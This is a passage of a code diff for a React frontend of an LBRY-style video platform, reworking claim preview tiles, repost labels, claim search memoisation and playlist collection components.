}, [channelSubCount]);
|
||||
const isValid = uri && isURIValid(uri, false);
|
||||
const isValid = uri && isURIValid(uri);
|
||||
|
||||
// $FlowFixMe
|
||||
const isPlayable =
|
||||
@@ -185,13 +170,12 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
claim.value.stream_type &&
|
||||
// $FlowFixMe
|
||||
(claim.value.stream_type === 'audio' || claim.value.stream_type === 'video');
|
||||
const isChannelUri = isChannelClaim(claim, uri);
|
||||
const isChannelUri = claim ? claim.value_type === 'channel' : false;
|
||||
const signingChannel = claim && claim.signing_channel;
|
||||
const repostedChannelUri =
|
||||
claim && claim.repost_channel_url && claim.value_type === 'channel'
|
||||
? claim.permanent_url || claim.canonical_url
|
||||
: undefined;
|
||||
const repostedContentUri = claim && (claim.reposted_claim ? claim.reposted_claim.permanent_url : claim.permanent_url);
|
||||
|
||||
// Get channel title ( use name as fallback )
|
||||
let channelTitle = null;
|
||||
@@ -241,7 +225,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
((abandoned && !showUnresolvedClaim) || (!claimIsMine && obscureNsfw && nsfw));
|
||||
|
||||
// This will be replaced once blocking is done at the wallet server level
|
||||
if (!shouldHide && !claimIsMine && (banState.blacklisted || banState.filtered)) {
|
||||
if (claim && !claimIsMine && (banState.blacklisted || banState.filtered)) {
|
||||
shouldHide = true;
|
||||
}
|
||||
|
||||
@@ -323,7 +307,6 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
'claim-preview__wrapper--small': type === 'small',
|
||||
'claim-preview__active': active,
|
||||
})}
|
||||
key={uri}
|
||||
>
|
||||
<>
|
||||
{!hideRepostLabel && <ClaimRepostAuthor uri={uri} />}
|
||||
@@ -337,14 +320,18 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
'claim-preview--channel': isChannelUri,
|
||||
'claim-preview--visited': !isChannelUri && !claimIsMine && hasVisitedUri,
|
||||
'claim-preview--pending': pending,
|
||||
'claim-preview--collection-mine': isMyCollection && showEdit,
|
||||
'swipe-list__item': swipeLayout,
|
||||
'claim-preview--collection-mine': isMyCollection && listId && type === 'listview',
|
||||
})}
|
||||
>
|
||||
{isMyCollection && showEdit && (
|
||||
<CollectionEditButtons uri={uri} collectionId={listId} dragHandleProps={dragHandleProps} />
|
||||
{isMyCollection && listId && type === 'listview' && (
|
||||
<CollectionEditButtons
|
||||
collectionIndex={collectionIndex}
|
||||
editCollection={editCollection}
|
||||
listId={listId}
|
||||
lastCollectionIndex={lastCollectionIndex}
|
||||
claim={claim}
|
||||
/>
|
||||
)}
|
||||
|
||||
{isChannelUri && claim ? (
|
||||
<UriIndicator focusable={false} uri={uri} link>
|
||||
<ChannelThumbnail uri={uri} small={type === 'inline'} />
|
||||
@@ -355,7 +342,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
<NavLink aria-hidden tabIndex={-1} {...navLinkProps}>
|
||||
<FileThumbnail thumbnail={thumbnailUrl}>
|
||||
<div className="claim-preview__hover-actions">
|
||||
{isPlayable && <FileWatchLaterLink focusable={false} uri={repostedContentUri} />}
|
||||
{isPlayable && <FileWatchLaterLink focusable={false} uri={uri} />}
|
||||
</div>
|
||||
{/* @if TARGET='app' */}
|
||||
<div className="claim-preview__hover-actions">
|
||||
@@ -365,7 +352,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
</div>
|
||||
{/* @endif */}
|
||||
<div className="claim-preview__file-property-overlay">
|
||||
<PreviewOverlayProperties uri={uri} small={type === 'small'} />
|
||||
<PreviewOverlayProperties uri={uri} properties={properties} />
|
||||
</div>
|
||||
</FileThumbnail>
|
||||
</NavLink>
|
||||
@@ -386,18 +373,9 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
</NavLink>
|
||||
)}
|
||||
</div>
|
||||
<div className="claim-tile__info" uri={uri}>
|
||||
{!isChannelUri && signingChannel && (
|
||||
<div className="claim-preview__channel-staked">
|
||||
<UriIndicator focusable={false} uri={uri} link hideAnonymous>
|
||||
<ChannelThumbnail uri={signingChannel.permanent_url} xsmall />
|
||||
</UriIndicator>
|
||||
</div>
|
||||
)}
|
||||
<ClaimPreviewSubtitle uri={uri} type={type} />
|
||||
{(pending || !!reflectingProgress) && <PublishPending uri={uri} />}
|
||||
{channelSubscribers}
|
||||
</div>
|
||||
<ClaimPreviewSubtitle uri={uri} type={type} />
|
||||
{(pending || !!reflectingProgress) && <PublishPending uri={uri} />}
|
||||
{channelSubscribers}
|
||||
</div>
|
||||
{type !== 'small' && (
|
||||
<div className="claim-preview__actions">
|
||||
@@ -408,7 +386,13 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
actions
|
||||
) : (
|
||||
<div className="claim-preview__primary-actions">
|
||||
{isChannelUri && !banState.muted && !claimIsMine && (
|
||||
{!isChannelUri && signingChannel && (
|
||||
<div className="claim-preview__channel-staked">
|
||||
<ChannelThumbnail uri={signingChannel.permanent_url} xsmall />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isChannelUri && !channelIsBlocked && !claimIsMine && (
|
||||
<SubscribeButton
|
||||
uri={repostedChannelUri || (uri.startsWith('lbry://') ? uri : `lbry://${uri}`)}
|
||||
/>
|
||||
@@ -421,11 +405,13 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
)}
|
||||
{claim && (
|
||||
<React.Fragment>
|
||||
{typeof properties === 'function'
|
||||
? properties(claim)
|
||||
: properties !== undefined
|
||||
? properties
|
||||
: !isMobile && <ClaimTags uri={uri} type={type} />}
|
||||
{typeof properties === 'function' ? (
|
||||
properties(claim)
|
||||
) : properties !== undefined ? (
|
||||
properties
|
||||
) : (
|
||||
<ClaimTags uri={uri} type={type} />
|
||||
)}
|
||||
</React.Fragment>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -8,6 +8,7 @@ import TruncatedText from 'component/common/truncated-text';
|
||||
import DateTime from 'component/dateTime';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import FileViewCountInline from 'component/fileViewCountInline';
|
||||
import SubscribeButton from 'component/subscribeButton';
|
||||
import useGetThumbnail from 'effects/use-get-thumbnail';
|
||||
import { formatLbryUrlForWeb, generateListSearchUrlParams } from 'util/url';
|
||||
import { formatClaimPreviewTitle } from 'util/formatAriaLabel';
|
||||
@@ -41,7 +42,6 @@ type Props = {
|
||||
properties?: (Claim) => void,
|
||||
collectionId?: string,
|
||||
viewCount: string,
|
||||
swipeLayout: boolean,
|
||||
};
|
||||
|
||||
// preview image cards used in related video functionality, channel overview page and homepage
|
||||
@@ -66,7 +66,6 @@ function ClaimPreviewTile(props: Props) {
|
||||
collectionId,
|
||||
mediaDuration,
|
||||
viewCount,
|
||||
swipeLayout = false,
|
||||
} = props;
|
||||
const isRepost = claim && claim.repost_channel_url;
|
||||
const isCollection = claim && claim.value_type === 'collection';
|
||||
@@ -84,7 +83,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
const shouldFetch = claim === undefined;
|
||||
const thumbnailUrl = useGetThumbnail(uri, claim, streamingUrl, getFile, placeholder) || thumbnail;
|
||||
const canonicalUrl = claim && claim.canonical_url;
|
||||
const repostedContentUri = claim && (claim.reposted_claim ? claim.reposted_claim.permanent_url : claim.permanent_url);
|
||||
const permanentUrl = claim && claim.permanent_url;
|
||||
const listId = collectionId || collectionClaimId;
|
||||
const navigateUrl =
|
||||
formatLbryUrlForWeb(canonicalUrl || uri || '/') + (listId ? generateListSearchUrlParams(listId) : '');
|
||||
@@ -108,6 +107,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
const isChannel = claim && claim.value_type === 'channel';
|
||||
const channelUri = !isChannel ? signingChannel && signingChannel.permanent_url : claim && claim.permanent_url;
|
||||
const channelTitle = signingChannel && ((signingChannel.value && signingChannel.value.title) || signingChannel.name);
|
||||
const repostedChannelUri = isRepost && isChannel ? permanentUrl || canonicalUrl : undefined;
|
||||
|
||||
// Aria-label value for claim preview
|
||||
let ariaLabelData = isChannel ? title : formatClaimPreviewTitle(title, channelTitle, date, mediaDuration);
|
||||
@@ -145,24 +145,17 @@ function ClaimPreviewTile(props: Props) {
|
||||
|
||||
if (placeholder || (!claim && isResolvingUri)) {
|
||||
return (
|
||||
<li className={classnames('placeholder claim-preview--tile', {})}>
|
||||
<div className="media__thumb">
|
||||
<li className={classnames('claim-preview--tile', {})}>
|
||||
<div className="placeholder media__thumb">
|
||||
<img src={PlaceholderTx} alt="Placeholder" />
|
||||
</div>
|
||||
<div className="placeholder__wrapper">
|
||||
<div className="claim-tile__title" />
|
||||
<div className="claim-tile__title_b" />
|
||||
<div className="placeholder claim-tile__title" />
|
||||
<div
|
||||
className={classnames('claim-tile__info', {
|
||||
className={classnames('claim-tile__info placeholder', {
|
||||
contains_view_count: shouldShowViewCount,
|
||||
})}
|
||||
>
|
||||
<div className="channel-thumbnail" />
|
||||
<div className="claim-tile__about">
|
||||
<div className="button__content" />
|
||||
<div className="claim-tile__about--counts" />
|
||||
</div>
|
||||
</div>
|
||||
/>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
@@ -175,7 +168,6 @@ function ClaimPreviewTile(props: Props) {
|
||||
onClick={handleClick}
|
||||
className={classnames('card claim-preview--tile', {
|
||||
'claim-preview__wrapper--channel': isChannel,
|
||||
'swipe-list__item claim-preview--horizontal-tile': swipeLayout,
|
||||
})}
|
||||
>
|
||||
<NavLink {...navLinkProps} role="none" tabIndex={-1} aria-hidden>
|
||||
@@ -183,7 +175,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
{!isChannel && (
|
||||
<React.Fragment>
|
||||
<div className="claim-preview__hover-actions">
|
||||
{isPlayable && <FileWatchLaterLink focusable={false} uri={repostedContentUri} />}
|
||||
{isPlayable && <FileWatchLaterLink focusable={false} uri={uri} />}
|
||||
</div>
|
||||
{/* @if TARGET='app' */}
|
||||
<div className="claim-preview__hover-actions">
|
||||
@@ -224,7 +216,11 @@ function ClaimPreviewTile(props: Props) {
|
||||
contains_view_count: shouldShowViewCount,
|
||||
})}
|
||||
>
|
||||
{!isChannel && (
|
||||
{isChannel ? (
|
||||
<div className="claim-tile__about--channel">
|
||||
<SubscribeButton uri={repostedChannelUri || uri} />
|
||||
</div>
|
||||
) : (
|
||||
<React.Fragment>
|
||||
<UriIndicator focusable={false} uri={uri} link hideAnonymous>
|
||||
<ChannelThumbnail uri={channelUri} xsmall />
|
||||
|
||||
@@ -19,11 +19,8 @@ function ClaimRepostAuthor(props: Props) {
|
||||
if (short && repostUrl) {
|
||||
return (
|
||||
<span className="claim-preview__repost-author">
|
||||
<div className="claim-preview__repost-ribbon">
|
||||
<Icon icon={ICONS.REPOST} size={12} />
|
||||
<br />
|
||||
<span>{repostUrl}</span>
|
||||
</div>
|
||||
<Icon icon={ICONS.REPOST} size={12} />
|
||||
<span>{repostUrl}</span>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -50,13 +47,10 @@ function ClaimRepostAuthor(props: Props) {
|
||||
|
||||
return (
|
||||
<div className="claim-preview__repost-author">
|
||||
<div className="claim-preview__repost-ribbon">
|
||||
<Icon icon={ICONS.REPOST} size={10} className="claim-preview__repost-icon" />
|
||||
<br />
|
||||
<I18nMessage tokens={{ repost_channel_link: <UriIndicator link uri={repostChannelUrl} /> }}>
|
||||
%repost_channel_link%
|
||||
</I18nMessage>
|
||||
</div>
|
||||
<Icon icon={ICONS.REPOST} size={10} className="claim-preview__repost-icon" />
|
||||
<I18nMessage tokens={{ repost_channel_link: <UriIndicator link uri={repostChannelUrl} /> }}>
|
||||
%repost_channel_link% reposted
|
||||
</I18nMessage>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@ import { doToggleTagFollowDesktop } from 'redux/actions/tags';
|
||||
import { makeSelectClientSetting, selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { selectMutedAndBlockedChannelIds } from 'redux/selectors/blocked';
|
||||
import { ENABLE_NO_SOURCE_CLAIMS } from 'config';
|
||||
import { createNormalizedClaimSearchKey } from 'util/claim';
|
||||
import * as CS from 'constants/claim_search';
|
||||
|
||||
import ClaimListDiscover from './view';
|
||||
|
||||
@@ -18,22 +18,13 @@ const select = (state, props) => {
|
||||
const hideReposts = makeSelectClientSetting(SETTINGS.HIDE_REPOSTS)(state);
|
||||
const mutedAndBlockedChannelIds = selectMutedAndBlockedChannelIds(state);
|
||||
|
||||
const options = resolveSearchOptions({
|
||||
showNsfw,
|
||||
hideReposts,
|
||||
mutedAndBlockedChannelIds,
|
||||
pageSize: 8,
|
||||
...props,
|
||||
});
|
||||
const searchKey = createNormalizedClaimSearchKey(options);
|
||||
|
||||
return {
|
||||
claimSearchResults: selectClaimSearchByQuery(state)[searchKey],
|
||||
claimSearchByQuery: selectClaimSearchByQuery(state),
|
||||
claimsByUri: selectClaimsByUri(state),
|
||||
fetchingClaimSearch: selectFetchingClaimSearchByQuery(state)[searchKey],
|
||||
fetchingClaimSearchByQuery: selectFetchingClaimSearchByQuery(state),
|
||||
showNsfw,
|
||||
hideReposts,
|
||||
optionsStringified: JSON.stringify(options),
|
||||
options: resolveSearchOptions({ showNsfw, hideReposts, mutedAndBlockedChannelIds, pageSize: 8, ...props }),
|
||||
};
|
||||
};
|
||||
|
||||
@@ -77,6 +68,8 @@ function resolveSearchOptions(props) {
|
||||
let streamTypesParam;
|
||||
if (streamTypes) {
|
||||
streamTypesParam = streamTypes;
|
||||
} else if (!hasNoSource && streamTypes !== null) {
|
||||
streamTypesParam = [CS.FILE_VIDEO, CS.FILE_AUDIO];
|
||||
}
|
||||
|
||||
const options = {
|
||||
|
||||
@@ -1,29 +1,31 @@
|
||||
// @flow
|
||||
import type { Node } from 'react';
|
||||
import React from 'react';
|
||||
import { createNormalizedClaimSearchKey } from 'util/claim';
|
||||
import ClaimPreviewTile from 'component/claimPreviewTile';
|
||||
import useFetchViewCount from 'effects/use-fetch-view-count';
|
||||
import usePrevious from 'effects/use-previous';
|
||||
|
||||
// type SearchOptions = {
|
||||
// page_size: number,
|
||||
// page: number,
|
||||
// no_totals: boolean,
|
||||
// any_tags: Array<string>,
|
||||
// channel_ids: Array<string>,
|
||||
// claim_ids?: Array<string>,
|
||||
// not_channel_ids: Array<string>,
|
||||
// not_tags: Array<string>,
|
||||
// order_by: Array<string>,
|
||||
// languages?: Array<string>,
|
||||
// release_time?: string,
|
||||
// claim_type?: string | Array<string>,
|
||||
// timestamp?: string,
|
||||
// fee_amount?: string,
|
||||
// limit_claims_per_channel?: number,
|
||||
// stream_types?: Array<string>,
|
||||
// has_source?: boolean,
|
||||
// has_no_source?: boolean,
|
||||
// };
|
||||
type SearchOptions = {
|
||||
page_size: number,
|
||||
page: number,
|
||||
no_totals: boolean,
|
||||
any_tags: Array<string>,
|
||||
channel_ids: Array<string>,
|
||||
claim_ids?: Array<string>,
|
||||
not_channel_ids: Array<string>,
|
||||
not_tags: Array<string>,
|
||||
order_by: Array<string>,
|
||||
languages?: Array<string>,
|
||||
release_time?: string,
|
||||
claim_type?: string | Array<string>,
|
||||
timestamp?: string,
|
||||
fee_amount?: string,
|
||||
limit_claims_per_channel?: number,
|
||||
stream_types?: Array<string>,
|
||||
has_source?: boolean,
|
||||
has_no_source?: boolean,
|
||||
};
|
||||
|
||||
function urisEqual(prev: ?Array<string>, next: ?Array<string>) {
|
||||
if (!prev || !next) {
|
||||
@@ -66,12 +68,12 @@ type Props = {
|
||||
hasNoSource?: boolean,
|
||||
// --- select ---
|
||||
location: { search: string },
|
||||
claimSearchResults: Array<string>,
|
||||
claimSearchByQuery: { [string]: Array<string> },
|
||||
claimsByUri: { [string]: any },
|
||||
fetchingClaimSearch: boolean,
|
||||
fetchingClaimSearchByQuery: { [string]: boolean },
|
||||
showNsfw: boolean,
|
||||
hideReposts: boolean,
|
||||
optionsStringified: string,
|
||||
options: SearchOptions,
|
||||
// --- perform ---
|
||||
doClaimSearch: ({}) => void,
|
||||
doFetchViewCount: (claimIdCsv: string) => void,
|
||||
@@ -80,10 +82,10 @@ type Props = {
|
||||
function ClaimTilesDiscover(props: Props) {
|
||||
const {
|
||||
doClaimSearch,
|
||||
claimSearchResults,
|
||||
claimSearchByQuery,
|
||||
claimsByUri,
|
||||
fetchViewCount,
|
||||
fetchingClaimSearch,
|
||||
fetchingClaimSearchByQuery,
|
||||
hasNoSource,
|
||||
renderProperties,
|
||||
// pinUrls,
|
||||
@@ -91,15 +93,16 @@ function ClaimTilesDiscover(props: Props) {
|
||||
showNoSourceClaims,
|
||||
doFetchViewCount,
|
||||
pageSize = 8,
|
||||
optionsStringified,
|
||||
options,
|
||||
} = props;
|
||||
|
||||
const prevUris = React.useRef();
|
||||
const claimSearchUris = claimSearchResults || [];
|
||||
|
||||
const isUnfetchedClaimSearch = claimSearchResults === undefined;
|
||||
const searchKey = createNormalizedClaimSearchKey(options);
|
||||
const fetchingClaimSearch = fetchingClaimSearchByQuery[searchKey];
|
||||
const claimSearchUris = claimSearchByQuery[searchKey] || [];
|
||||
const isUnfetchedClaimSearch = claimSearchByQuery[searchKey] === undefined;
|
||||
|
||||
// Don't use the query from createNormalizedClaimSearchKey for the effect since that doesn't include page & release_time
|
||||
const optionsStringForEffect = JSON.stringify(options);
|
||||
const shouldPerformSearch = !fetchingClaimSearch && claimSearchUris.length === 0;
|
||||
|
||||
const uris = (prefixUris || []).concat(claimSearchUris);
|
||||
@@ -121,19 +124,21 @@ function ClaimTilesDiscover(props: Props) {
|
||||
uris.push(...Array(pageSize - uris.length).fill(''));
|
||||
}
|
||||
|
||||
const prevUris = usePrevious(uris);
|
||||
|
||||
useFetchViewCount(fetchViewCount, uris, claimsByUri, doFetchViewCount);
|
||||
|
||||
const finalUris = isUnfetchedClaimSearch && prevUris.current ? prevUris.current : uris;
|
||||
prevUris.current = finalUris;
|
||||
// Run `doClaimSearch`
|
||||
React.useEffect(() => {
|
||||
if (shouldPerformSearch) {
|
||||
const searchOptions = JSON.parse(optionsStringified);
|
||||
const searchOptions = JSON.parse(optionsStringForEffect);
|
||||
doClaimSearch(searchOptions);
|
||||
}
|
||||
}, [doClaimSearch, shouldPerformSearch, optionsStringified]);
|
||||
}, [doClaimSearch, shouldPerformSearch, optionsStringForEffect]);
|
||||
|
||||
// Show previous results while we fetch to avoid blinkies and poor CLS.
|
||||
const finalUris = isUnfetchedClaimSearch && prevUris ? prevUris : uris;
|
||||
|
||||
return (
|
||||
<ul className="claim-grid">
|
||||
{finalUris && finalUris.length
|
||||
@@ -162,33 +167,33 @@ function ClaimTilesDiscover(props: Props) {
|
||||
|
||||
export default React.memo<Props>(ClaimTilesDiscover, areEqual);
|
||||
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
function trace(key, value) {
|
||||
// @if process.env.DEBUG_TILE_RENDER
|
||||
// $FlowFixMe "cannot coerce certain types".
|
||||
console.log(`[claimTilesDiscover] ${key}: ${value}`); // eslint-disable-line no-console
|
||||
// @endif
|
||||
function debug_trace(val) {
|
||||
if (process.env.DEBUG_TRACE) console.log(`Render due to: ${val}`);
|
||||
}
|
||||
|
||||
function areEqual(prev: Props, next: Props) {
|
||||
// --- Deep-compare ---
|
||||
// These are props that are hard to memoize from where it is passed.
|
||||
const prevOptions: SearchOptions = prev.options;
|
||||
const nextOptions: SearchOptions = next.options;
|
||||
|
||||
if (prev.claimType !== next.claimType) {
|
||||
// Array<string>: confirm the contents are actually different.
|
||||
if (prev.claimType && next.claimType && JSON.stringify(prev.claimType) !== JSON.stringify(next.claimType)) {
|
||||
trace('claimType', next.claimType);
|
||||
return false;
|
||||
}
|
||||
const prevSearchKey = createNormalizedClaimSearchKey(prevOptions);
|
||||
const nextSearchKey = createNormalizedClaimSearchKey(nextOptions);
|
||||
|
||||
if (prevSearchKey !== nextSearchKey) {
|
||||
debug_trace('search key');
|
||||
return false;
|
||||
}
|
||||
|
||||
// --- Deep-compare ---
|
||||
if (!urisEqual(prev.claimSearchByQuery[prevSearchKey], next.claimSearchByQuery[nextSearchKey])) {
|
||||
debug_trace('claimSearchByQuery');
|
||||
return false;
|
||||
}
|
||||
|
||||
const ARRAY_KEYS = ['prefixUris', 'channelIds'];
|
||||
for (let i = 0; i < ARRAY_KEYS.length; ++i) {
|
||||
const key = ARRAY_KEYS[i];
|
||||
if (!urisEqual(prev[key], next[key])) {
|
||||
trace(key, next[key]);
|
||||
debug_trace(`${key}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -198,19 +203,22 @@ function areEqual(prev: Props, next: Props) {
|
||||
// to update this function. Better to render more than miss an important one.
|
||||
const KEYS_TO_IGNORE = [
|
||||
...ARRAY_KEYS,
|
||||
'claimType', // Handled above.
|
||||
'claimsByUri', // Used for view-count. Just ignore it for now.
|
||||
'claimSearchByQuery',
|
||||
'fetchingClaimSearchByQuery', // We are showing previous results while fetching.
|
||||
'options', // Covered by search-key comparison.
|
||||
'location',
|
||||
'history',
|
||||
'match',
|
||||
'claimsByUri',
|
||||
'doClaimSearch',
|
||||
'doToggleTagFollowDesktop',
|
||||
];
|
||||
|
||||
const propKeys = Object.keys(next);
|
||||
for (let i = 0; i < propKeys.length; ++i) {
|
||||
const pk = propKeys[i];
|
||||
if (!KEYS_TO_IGNORE.includes(pk) && prev[pk] !== next[pk]) {
|
||||
trace(pk, next[pk]);
|
||||
debug_trace(`${pk}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,20 @@ function CollectionActions(props: Props) {
|
||||
const claimId = claim && claim.claim_id;
|
||||
const webShareable = true; // collections have cost?
|
||||
|
||||
/*
|
||||
A bit too much dependency with both ordering and shuffling depending on a single list item index selector
|
||||
For now when they click edit, we'll toggle shuffle off for them.
|
||||
*/
|
||||
const handleSetShowEdit = (setting) => {
|
||||
doToggleShuffleList(collectionId, false);
|
||||
setShowEdit(setting);
|
||||
};
|
||||
|
||||
const handlePublishMode = () => {
|
||||
doToggleShuffleList(collectionId, false);
|
||||
push(`?${PAGE_VIEW_QUERY}=${EDIT_PAGE}`);
|
||||
};
|
||||
|
||||
const doPlay = React.useCallback(
|
||||
(playUri) => {
|
||||
const navigateUrl = formatLbryUrlForWeb(playUri);
|
||||
@@ -124,7 +138,7 @@ function CollectionActions(props: Props) {
|
||||
title={uri ? __('Update') : __('Publish')}
|
||||
label={uri ? __('Update') : __('Publish')}
|
||||
className={classnames('button--file-action')}
|
||||
onClick={() => push(`?${PAGE_VIEW_QUERY}=${EDIT_PAGE}`)}
|
||||
onClick={() => handlePublishMode()}
|
||||
icon={ICONS.PUBLISH}
|
||||
iconColor={collectionHasEdits && 'red'}
|
||||
iconSize={18}
|
||||
@@ -151,36 +165,34 @@ function CollectionActions(props: Props) {
|
||||
</>
|
||||
);
|
||||
|
||||
const infoButtons = (
|
||||
<div className="section">
|
||||
{uri && (
|
||||
<Button
|
||||
title={__('Info')}
|
||||
className={classnames('button-toggle', {
|
||||
'button-toggle--active': showInfo,
|
||||
})}
|
||||
icon={ICONS.MORE}
|
||||
onClick={() => setShowInfo(!showInfo)}
|
||||
/>
|
||||
)}
|
||||
const infoButton = (
|
||||
<Button
|
||||
title={__('Info')}
|
||||
className={classnames('button-toggle', {
|
||||
'button-toggle--active': showInfo,
|
||||
})}
|
||||
icon={ICONS.MORE}
|
||||
onClick={() => setShowInfo(!showInfo)}
|
||||
/>
|
||||
);
|
||||
|
||||
{isMyCollection && (
|
||||
<Button
|
||||
title={__('Edit')}
|
||||
className={classnames('button-toggle', { 'button-toggle--active': showEdit })}
|
||||
icon={ICONS.EDIT}
|
||||
onClick={() => setShowEdit(!showEdit)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
const showEditButton = (
|
||||
<Button
|
||||
title={__('Edit')}
|
||||
className={classnames('button-toggle', {
|
||||
'button-toggle--active': showEdit,
|
||||
})}
|
||||
icon={ICONS.EDIT}
|
||||
onClick={() => handleSetShowEdit(!showEdit)}
|
||||
/>
|
||||
);
|
||||
|
||||
if (isMobile) {
|
||||
return (
|
||||
<div className="media__actions stretch">
|
||||
<div className="media__actions">
|
||||
{lhsSection}
|
||||
{rhsSection}
|
||||
{infoButtons}
|
||||
{uri && <span>{infoButton}</span>}
|
||||
</div>
|
||||
);
|
||||
} else {
|
||||
@@ -190,8 +202,10 @@ function CollectionActions(props: Props) {
|
||||
{lhsSection}
|
||||
{rhsSection}
|
||||
</div>
|
||||
|
||||
{infoButtons}
|
||||
<div className="section">
|
||||
{uri && infoButton}
|
||||
{showEditButton}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,15 +1,13 @@
|
||||
import { connect } from 'react-redux';
|
||||
import CollectionContent from './view';
|
||||
import { selectClaimForUri } from 'redux/selectors/claims';
|
||||
import { selectClaimForUri, selectClaimIsMine } from 'redux/selectors/claims';
|
||||
import {
|
||||
makeSelectUrlsForCollectionId,
|
||||
makeSelectNameForCollectionId,
|
||||
makeSelectCollectionForId,
|
||||
makeSelectCollectionIsMine,
|
||||
} from 'redux/selectors/collections';
|
||||
import { selectPlayingUri, selectListLoop, selectListShuffle } from 'redux/selectors/content';
|
||||
import { doToggleLoopList, doToggleShuffleList } from 'redux/actions/content';
|
||||
import { doCollectionEdit } from 'redux/actions/collections';
|
||||
|
||||
const select = (state, props) => {
|
||||
const playingUri = selectPlayingUri(state);
|
||||
@@ -26,7 +24,7 @@ const select = (state, props) => {
|
||||
collection: makeSelectCollectionForId(props.id)(state),
|
||||
collectionUrls: makeSelectUrlsForCollectionId(props.id)(state),
|
||||
collectionName: makeSelectNameForCollectionId(props.id)(state),
|
||||
isMyCollection: makeSelectCollectionIsMine(props.id)(state),
|
||||
isMine: selectClaimIsMine(state, claim),
|
||||
loop,
|
||||
shuffle,
|
||||
};
|
||||
@@ -35,5 +33,4 @@ const select = (state, props) => {
|
||||
export default connect(select, {
|
||||
doToggleLoopList,
|
||||
doToggleShuffleList,
|
||||
doCollectionEdit,
|
||||
})(CollectionContent);
|
||||
@@ -1,10 +1,5 @@
|
||||
// @flow
|
||||
|
||||
// $FlowFixMe
|
||||
import { DragDropContext, Droppable } from 'react-beautiful-dnd';
|
||||
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import ClaimList from 'component/claimList';
|
||||
import Card from 'component/common/card';
|
||||
import Button from 'component/button';
|
||||
@@ -16,7 +11,7 @@ import * as ICONS from 'constants/icons';
|
||||
type Props = {
|
||||
id: string,
|
||||
url: string,
|
||||
isMyCollection: boolean,
|
||||
isMine: boolean,
|
||||
collectionUrls: Array<Claim>,
|
||||
collectionName: string,
|
||||
collection: any,
|
||||
@@ -25,56 +20,29 @@ type Props = {
|
||||
doToggleLoopList: (string, boolean) => void,
|
||||
doToggleShuffleList: (string, string, boolean) => void,
|
||||
createUnpublishedCollection: (string, Array<any>, ?string) => void,
|
||||
doCollectionEdit: (string, CollectionEditParams) => void,
|
||||
};
|
||||
|
||||
export default function CollectionContent(props: Props) {
|
||||
const {
|
||||
isMyCollection,
|
||||
collectionUrls,
|
||||
collectionName,
|
||||
id,
|
||||
url,
|
||||
loop,
|
||||
shuffle,
|
||||
doToggleLoopList,
|
||||
doToggleShuffleList,
|
||||
doCollectionEdit,
|
||||
} = props;
|
||||
|
||||
const [showEdit, setShowEdit] = React.useState(false);
|
||||
|
||||
function handleOnDragEnd(result) {
|
||||
const { source, destination } = result;
|
||||
|
||||
if (!destination) return;
|
||||
|
||||
const { index: from } = source;
|
||||
const { index: to } = destination;
|
||||
|
||||
doCollectionEdit(id, { order: { from, to } });
|
||||
}
|
||||
const { collectionUrls, collectionName, id, url, loop, shuffle, doToggleLoopList, doToggleShuffleList } = props;
|
||||
|
||||
return (
|
||||
<Card
|
||||
isBodyList
|
||||
className="file-page__playlist-collection"
|
||||
className="file-page__recommended-collection"
|
||||
title={
|
||||
<>
|
||||
<a href={`/$/${PAGES.LIST}/${id}`}>
|
||||
<span className="file-page__playlist-collection__row">
|
||||
<Icon
|
||||
icon={
|
||||
(id === COLLECTIONS_CONSTS.WATCH_LATER_ID && ICONS.TIME) ||
|
||||
(id === COLLECTIONS_CONSTS.FAVORITES_ID && ICONS.STAR) ||
|
||||
ICONS.STACK
|
||||
}
|
||||
className="icon--margin-right"
|
||||
/>
|
||||
{collectionName}
|
||||
</span>
|
||||
</a>
|
||||
<span className="file-page__playlist-collection__row">
|
||||
<span className="file-page__recommended-collection__row">
|
||||
<Icon
|
||||
icon={
|
||||
(id === COLLECTIONS_CONSTS.WATCH_LATER_ID && ICONS.TIME) ||
|
||||
(id === COLLECTIONS_CONSTS.FAVORITES_ID && ICONS.STAR) ||
|
||||
ICONS.STACK
|
||||
}
|
||||
className="icon--margin-right"
|
||||
/>
|
||||
{collectionName}
|
||||
</span>
|
||||
<span className="file-page__recommended-collection__row">
|
||||
<Button
|
||||
button="alt"
|
||||
title={__('Loop')}
|
||||
@@ -95,32 +63,20 @@ export default function CollectionContent(props: Props) {
|
||||
</>
|
||||
}
|
||||
titleActions={
|
||||
isMyCollection && (
|
||||
<Button
|
||||
title={__('Edit')}
|
||||
className={classnames('button-toggle', { 'button-toggle--active': showEdit })}
|
||||
icon={ICONS.EDIT}
|
||||
onClick={() => setShowEdit(!showEdit)}
|
||||
/>
|
||||
)
|
||||
<div className="card__title-actions--link">
|
||||
{/* TODO: BUTTON TO SAVE COLLECTION - Probably save/copy modal */}
|
||||
<Button label={__('View List')} button="link" navigate={`/$/${PAGES.LIST}/${id}`} />
|
||||
</div>
|
